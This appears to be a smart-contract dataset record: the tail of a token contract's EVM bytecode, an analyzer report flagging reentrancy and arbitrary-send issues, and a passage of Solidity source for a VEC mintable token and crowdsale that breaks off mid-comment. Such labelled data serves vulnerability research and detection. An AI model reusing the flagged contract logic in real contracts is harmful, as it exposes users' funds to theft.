473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc7906133f8565b60405180910390fd5b600f60149054906101000a900460ff1615610d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1790613478565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610db030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611428565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610df657600080fd5b505afa158015610e0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2e9190612d85565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e9057600080fd5b505afa158015610ea4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec89190612d85565b6040518363ffffffff1660e01b8152600401610ee5929190613248565b602060405180830381600087803b158015610eff57600080fd5b505af1158015610f13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f379190612d85565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fc030610849565b600080610fcb6109ed565b426040518863ffffffff1660e01b8152600401610fed9695949392919061329a565b6060604051808303818588803b15801561100657600080fd5b505af115801561101a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061103f9190612f31565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e80000601081905550436011819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611148929190613271565b602060405180830381600087803b15801561116257600080fd5b505af1158015611176573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119a9190612edf565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60115481565b611202611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611286906133f8565b60405180910390fd5b600081116112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c9906133b8565b60405180910390fd5b61130160646112f383683635c9adc5dea0000061253390919063ffffffff16565b6125ae90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161133891906134b8565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148f90613458565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90613378565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e691906134b8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165a90613438565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ca90613338565b60405180910390fd5b60008111611716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170d90613418565b60405180910390fd5b61171e6109ed565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561178c575061175c6109ed565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8357600f60179054906101000a900460ff16156119bf573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561180e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118685750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118c25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119be57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611908611420565b73ffffffffffffffffffffffffffffffffffffffff16148061197e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611966611420565b73ffffffffffffffffffffffffffffffffffffffff16145b6119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b490613498565b60405180910390fd5b5b5b6010548111156119ce57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a725750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ac85750600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ad157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b7c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bea5750600f60179054906101000a900460ff165b15611c8b5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c3a57600080fd5b601e42611c4791906135ee565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6002601154611c9a91906135ee565b4311158015611caa575060105481145b15611ec957600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d5b5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611dbd576001600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611ec8565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611e695750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ec7576001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b6000611ed430610849565b9050600f60159054906101000a900460ff16158015611f415750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f595750600f60169054906101000a900460ff165b15611f8157611f6781612239565b60004790506000811115611f7f57611f7e476120aa565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061202a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561203457600090505b612040848484846125f8565b50505050565b600083831115829061208e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120859190613316565b60405180910390fd5b506000838561209d91906136cf565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61210d600a6120ff60048661253390919063ffffffff16565b6125ae90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612138573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61219c600a61218e60068661253390919063ffffffff16565b6125ae90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121c7573d6000803e3d6000fd5b5050565b6000600654821115612212576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220990613358565b60405180910390fd5b600061221c612625565b905061223181846125ae90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612297577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122c55781602001602082028036833780820191505090505b5090503081600081518110612303577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123a557600080fd5b505afa1580156123b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123dd9190612d85565b81600181518110612417577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061247e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611428565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124e29594939291906134d3565b600060405180830381600087803b1580156124fc57600080fd5b505af1158015612510573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561254657600090506125a8565b600082846125549190613675565b90508284826125639190613644565b146125a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259a906133d8565b60405180910390fd5b809150505b92915050565b60006125f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612650565b905092915050565b80612606576126056126b3565b5b6126118484846126e4565b8061261f5761261e6128af565b5b50505050565b60008060006126326128c1565b9150915061264981836125ae90919063ffffffff16565b9250505090565b60008083118290612697576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268e9190613316565b60405180910390fd5b50600083856126a69190613644565b9050809150509392505050565b60006008541480156126c757506000600954145b156126d1576126e2565b600060088190555060006009819055505b565b6000806000806000806126f687612923565b95509550955095509550955061275486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127e985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283581612a32565b61283f8483612aef565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161289c91906134b8565b60405180910390a3505050505050505050565b60026008819055506005600981905550565b600080600060065490506000683635c9adc5dea0000090506128f7683635c9adc5dea000006006546125ae90919063ffffffff16565b82101561291657600654683635c9adc5dea0000093509350505061291f565b81819350935050505b9091565b600080600080600080600080600061293f8a6008546012612b29565b925092509250600061294f612625565b905060008060006129628e878787612bbf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129cc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612046565b905092915050565b60008082846129e391906135ee565b905083811015612a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1f90613398565b60405180910390fd5b8091505092915050565b6000612a3c612625565b90506000612a53828461253390919063ffffffff16565b9050612aa781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b048260065461298a90919063ffffffff16565b600681905550612b1f816007546129d490919063ffffffff16565b6007819055505050565b600080600080612b556064612b47888a61253390919063ffffffff16565b6125ae90919063ffffffff16565b90506000612b7f6064612b71888b61253390919063ffffffff16565b6125ae90919063ffffffff16565b90506000612ba882612b9a858c61298a90919063ffffffff16565b61298a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bd8858961253390919063ffffffff16565b90506000612bef868961253390919063ffffffff16565b90506000612c06878961253390919063ffffffff16565b90506000612c2f82612c21858761298a90919063ffffffff16565b61298a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612c5b612c568461356d565b613548565b90508083825260208201905082856020860282011115612c7a57600080fd5b60005b85811015612caa5781612c908882612cb4565b845260208401935060208301925050600181019050612c7d565b5050509392505050565b600081359050612cc381613bab565b92915050565b600081519050612cd881613bab565b92915050565b600082601f830112612cef57600080fd5b8135612cff848260208601612c48565b91505092915050565b600081359050612d1781613bc2565b92915050565b600081519050612d2c81613bc2565b92915050565b600081359050612d4181613bd9565b92915050565b600081519050612d5681613bd9565b92915050565b600060208284031215612d6e57600080fd5b6000612d7c84828501612cb4565b91505092915050565b600060208284031215612d9757600080fd5b6000612da584828501612cc9565b91505092915050565b60008060408385031215612dc157600080fd5b6000612dcf85828601612cb4565b9250506020612de085828601612cb4565b9150509250929050565b600080600060608486031215612dff57600080fd5b6000612e0d86828701612cb4565b9350506020612e1e86828701612cb4565b9250506040612e2f86828701612d32565b9150509250925092565b60008060408385031215612e4c57600080fd5b6000612e5a85828601612cb4565b9250506020612e6b85828601612d32565b9150509250929050565b600060208284031215612e8757600080fd5b600082013567ffffffffffffffff811115612ea157600080fd5b612ead84828501612cde565b91505092915050565b600060208284031215612ec857600080fd5b6000612ed684828501612d08565b91505092915050565b600060208284031215612ef157600080fd5b6000612eff84828501612d1d565b91505092915050565b600060208284031215612f1a57600080fd5b6000612f2884828501612d32565b91505092915050565b600080600060608486031215612f4657600080fd5b6000612f5486828701612d47565b9350506020612f6586828701612d47565b9250506040612f7686828701612d47565b9150509250925092565b6000612f8c8383612f98565b60208301905092915050565b612fa181613703565b82525050565b612fb081613703565b82525050565b6000612fc1826135a9565b612fcb81856135cc565b9350612fd683613599565b8060005b83811015613007578151612fee8882612f80565b9750612ff9836135bf565b925050600181019050612fda565b5085935050505092915050565b61301d81613715565b82525050565b61302c81613758565b82525050565b600061303d826135b4565b61304781856135dd565b935061305781856020860161376a565b613060816138a4565b840191505092915050565b60006130786023836135dd565b9150613083826138b5565b604082019050919050565b600061309b602a836135dd565b91506130a682613904565b604082019050919050565b60006130be6022836135dd565b91506130c982613953565b604082019050919050565b60006130e1601b836135dd565b91506130ec826139a2565b602082019050919050565b6000613104601d836135dd565b915061310f826139cb565b602082019050919050565b60006131276021836135dd565b9150613132826139f4565b604082019050919050565b600061314a6020836135dd565b915061315582613a43565b602082019050919050565b600061316d6029836135dd565b915061317882613a6c565b604082019050919050565b60006131906025836135dd565b915061319b82613abb565b604082019050919050565b60006131b36024836135dd565b91506131be82613b0a565b604082019050919050565b60006131d66017836135dd565b91506131e182613b59565b602082019050919050565b60006131f96011836135dd565b915061320482613b82565b602082019050919050565b61321881613741565b82525050565b6132278161374b565b82525050565b60006020820190506132426000830184612fa7565b92915050565b600060408201905061325d6000830185612fa7565b61326a6020830184612fa7565b9392505050565b60006040820190506132866000830185612fa7565b613293602083018461320f565b9392505050565b600060c0820190506132af6000830189612fa7565b6132bc602083018861320f565b6132c96040830187613023565b6132d66060830186613023565b6132e36080830185612fa7565b6132f060a083018461320f565b979650505050505050565b60006020820190506133106000830184613014565b92915050565b600060208201905081810360008301526133308184613032565b905092915050565b600060208201905081810360008301526133518161306b565b9050919050565b600060208201905081810360008301526133718161308e565b9050919050565b60006020820190508181036000830152613391816130b1565b9050919050565b600060208201905081810360008301526133b1816130d4565b9050919050565b600060208201905081810360008301526133d1816130f7565b9050919050565b600060208201905081810360008301526133f18161311a565b9050919050565b600060208201905081810360008301526134118161313d565b9050919050565b6000602082019050818103600083015261343181613160565b9050919050565b6000602082019050818103600083015261345181613183565b9050919050565b60006020820190508181036000830152613471816131a6565b9050919050565b60006020820190508181036000830152613491816131c9565b9050919050565b600060208201905081810360008301526134b1816131ec565b9050919050565b60006020820190506134cd600083018461320f565b92915050565b600060a0820190506134e8600083018861320f565b6134f56020830187613023565b81810360408301526135078186612fb6565b90506135166060830185612fa7565b613523608083018461320f565b9695505050505050565b6000602082019050613542600083018461321e565b92915050565b6000613552613563565b905061355e828261379d565b919050565b6000604051905090565b600067ffffffffffffffff82111561358857613587613875565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006135f982613741565b915061360483613741565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561363957613638613817565b5b828201905092915050565b600061364f82613741565b915061365a83613741565b92508261366a57613669613846565b5b828204905092915050565b600061368082613741565b915061368b83613741565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136c4576136c3613817565b5b828202905092915050565b60006136da82613741565b91506136e583613741565b9250828210156136f8576136f7613817565b5b828203905092915050565b600061370e82613721565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061376382613741565b9050919050565b60005b8381101561378857808201518184015260208101905061376d565b83811115613797576000848401525b50505050565b6137a6826138a4565b810181811067ffffffffffffffff821117156137c5576137c4613875565b5b80604052505050565b60006137d982613741565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561380c5761380b613817565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613bb481613703565b8114613bbf57600080fd5b50565b613bcb81613715565b8114613bd657600080fd5b50565b613be281613741565b8114613bed57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122085956612daa3fd3eaf921a202f96d380d7b714f163b059936dc6dfc4db4aaa8b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,712 |
0x928c24ead4556d3a3f2e3cbc9b235851ab468631
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract VEC is Ownable, MintableToken {
using SafeMath for uint256;
string public constant name = "Verified Emission Credit";
string public constant symbol = "VEC";
uint32 public constant decimals = 0;
address public addressTeam; // address of vesting smart contract
uint public summTeam;
function VEC() public {
summTeam = 9500000000;
addressTeam = 0xc6CA7ac8D2FF8f04A3f23bb9aeC2254970B9f66e;
//Founders and supporters initial Allocations
mint(addressTeam, summTeam);
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
// The token being sold
VEC public token;
//Total number of tokens sold on ICO
uint256 public allTokenICO;
//max tokens
uint256 public maxTokens;
//max Ether
uint256 public maxEther;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
//start ICO
uint256 public startICO;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
